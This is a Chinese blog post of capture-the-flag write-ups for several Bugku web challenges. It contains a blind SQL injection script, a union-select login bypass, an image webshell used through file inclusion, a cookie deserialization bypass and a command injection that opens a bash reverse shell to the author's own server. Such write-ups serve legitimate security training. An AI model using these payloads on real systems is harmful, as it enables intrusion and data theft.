id=1 union select and from where substr if sleep ascii locate


我们可以看到以下关键字都被过滤了

1
union, substr, sleep

过滤了这些关键字和函数,我们就不能使用时间盲注了
这时要用到一个函数 locate

1
2
3
4
locate 函数返回一个字符串在另一个字符串中第一次出现的位置

locate(a, b, pos)
返回a在b中从pos开始第一次出现的位置,从1开始(返回0时表示没有出现),pos代表开始的位置,缺省为1

利用locate函数,我们可以从第一位开始,判断一个字符串的每一位字母
下面附上网上一个大佬写的脚本,为了方便理解对脚本做了一点小改动
参考:https://www.cnblogs.com/nienie/p/8524519.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#coding=utf-8
import requests
import string
rs = requests.session()
string = string.ascii_letters+string.digits+string.punctuation
'''
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
'''

def flag():
flag =''
for j in range(1, 100): # 字符开始的位置
key = 0
for i in string:
payload = "(select group_concat(table_name) from information_schema.tables where table_schema = database())"
url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'"+str(i)+"',"+payload+","+str(j)+"))="+str(j)+"%23"
r1 = rs.get(url)
# print url
if "Hello" in r1.text: # 利用了sql执行成功页面会出现Hello
print str(i)+" -----"+str(j)
flag += str(i)
print "[*] : "+flag
key = 1
if key ==0:
break
flag()

执行上面脚本得到表名flag2

然后我们只用改一下payload就可以得到列名了

1
payload = "(select group_concat(column_name) from information_schema.columns where table_name = 'flag2')"

得到字段名flag2和address

查看flag2字段的信息

1
payload = "(select flag2 from `flag2`)"


得到flag

1
flag{Bugku-sql_6s-2i-4t-bug}

提交flag

这就很尴尬了,后面看到别人的write up说的是这里的B应该小写

1
flag{bugku-sql_6s-2i-4t-bug}

这只是第一个flag
继续看一下address字段吧

1
payload = "(select address from `flag2`)"


继续访问,页面空白,查看源代码

应该是xxf伪造

1
X-Forwarded-For: 192.168.0.100


把二维码保存下来,然后扫二维码,得到如下内容:

0x2b:PHP_encrypt_1

下载附件下来解压得到一个index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
}
?>

给了我们加密函数,那么我们要弄懂加密的逻辑,然后写出对应的解密函数解密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
两个变量data和key
key的值为md5加密后的字符串(32长度的字符串)
变量len是data的长度
klen是key的长度32

然后进入第一个循环,范围是(0,len)
变量k的初始值为0
变量char的值为key[x]的拼接
每循环一次,k的值加一
当k的值增加到32的时候,会在下一轮循环置为0(如果data的长度小于32,如果data的长度大于等于32)

然后进入第二个循环,范围依旧是(0,len)
每一次循环data[i]和char[i]的ascii相加,然后转换为字符拼接到str
最终返回base64编码的str

1
2
3
先将密文base解码
然后用同样的方法得到char字符串
然后用密文的ascii减去char[i]的ascii再转字符拼接起来得到明文,当相减的值小于0的时候要加128。

最终脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$data="fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=";
function decrypt($data)
{
$str = base64_decode($data);
$len = strlen($str);
$key = md5("ISCC");
$keylen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $keylen) // 32
{
$x = 0;
}
$char .= $key[$x]; // 取出md5字符,小于32则为md5的子串,否则为整串加子串
$x+=1;
}
$s='';
for($i=0;$i<$len;$i++)
{
if(ord($str[$i])-ord($char[$i]) < 0)
{
$s .= chr((ord($str[$i])-ord($char[$i]) + 128));
}
else
{
$s .= chr((ord($str[$i])-ord($char[$i])));
}

}
echo $s;
}
decrypt($data);


1
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

0x2c:文件包含2

进去过后注意到url,估计file后面就是包含的文件名

查看页面源代码,发现upload.php

访问upload.php

上传图片文件,又有文件包含,想起了图片一句话,不知道的可以看一下我这篇文章:https://www.secpulse.com/archives/71246.html
制作图片马

上传,得到保存路径

然后访问

1
http://118.89.219.210:49166/index.php?file=upload/201808180418404013.jpg


php标签被过滤了,那么很可能是考php短标签了
重新做一个图片马

上传得到路径
然后菜刀连接

1
http://118.89.219.210:49166/index.php?file= upload/201808180435308157.jpg


得到flag

1
SKCTF{uP104D_1nclud3_426fh8_is_Fun}

0x2d:flag.php

点击login,没有一点反应

刚开始猜测是应该把数据提交到flag.php
但是用py提交了一下发现返回依旧是空
访问flag.php也是一片空白
忍不住瞟了一眼wp,发现提示中的hint作为get参数传给当前页面就可以得到源代码,原谅我脑洞不够大

1
http://120.24.86.145:8002/flagphp/index.php?hint=1

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

cookie变量ISecer反序列化后要等于变量$KEY
但是我们要注意,php是一门脚本语言,语句是逐条执行的,所以在比较的时候变量KEY的值应该还是null
所以构造一个空字符串序列(不只是对象可以被序列化,字符串也可以),s代表string,0代表长度为0,后面就是值为空字符串
或者也可以自己本地测试一下

1
2
<?php
echo serialize("");


1
ISecer=s:0:"";


1
flag{unserialize_by_virink}

0x2e:sql注入2


进去过后是一个登录框
随便输入用户名和密码抓包
当我们输入提示中的任何符号的时候会显示如下:

说明提示给出的这些字符都是被过滤了的,经过测试,被过滤的还有空格和*,基本已经过滤死了
这时候可以看一下有没有其它的突破点
用dirsearch扫一下目录

1
python3 dirsearch.py -u http://120.24.86.145:8007/web2 -e *

发现.DS_Store泄漏,利用脚本下载地址

1
https://github.com/lijiejie/ds_store_exp.git

用脚本跑一下

1
python ds_store_exp.py http://120.24.86.145:8007/web2/.DS_Store


得到文件flag,访问下载文件得到flag

1
flag{sql_iNJEct_comMon3600!}

0x2f:孙xx的博客

0x30:报错注入

0x31:Trim的日记本

不知道这道题考啥
直接用御剑扫目录发现一个show.php

访问得到flag

1
flag1:{0/m9o9PDtcSyu7Tt}

0x32:login2

提示如下,感觉是sql注入:

用burp抓包,然后发现response中出现了一段base64

base64解码得到了如下:

1
2
3
$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

这里应该是先查询存不存在用户,然后再验证密码
这里我们可以利用union select覆盖前面得查询结果

1
-1' union select md5(1),md5(1)%23



登录成功,进入一个新的页面

这里就可以直接执行bash命令反弹一个shell回来了(有vps得可以直接弹到vps,没有的需要做内网穿透)
现在vps上面监听一个端口

1
nc -lv 9999

执行bash反弹shell,不懂得bash反弹shell的可以看一下这篇文章:https://edu.aqniu.com/article/67

1
|bash -i >& /dev/tcp/vps的ip/监听的端口 0>&1

然后可以在自己获得的shell上面执行命令

这里执行命令的长度有限制,而文件名又很长,我们可以用通配符来解决

1
cat fLa*

得到flag

1
SKCTF{Uni0n_@nd_c0mM4nD_exEc}

最后更新: 2018年09月03日 22:27

原始链接: http://drac0nids.top/2018/08/03/bugkuWEB/

× 请我吃糖~
打赏二维码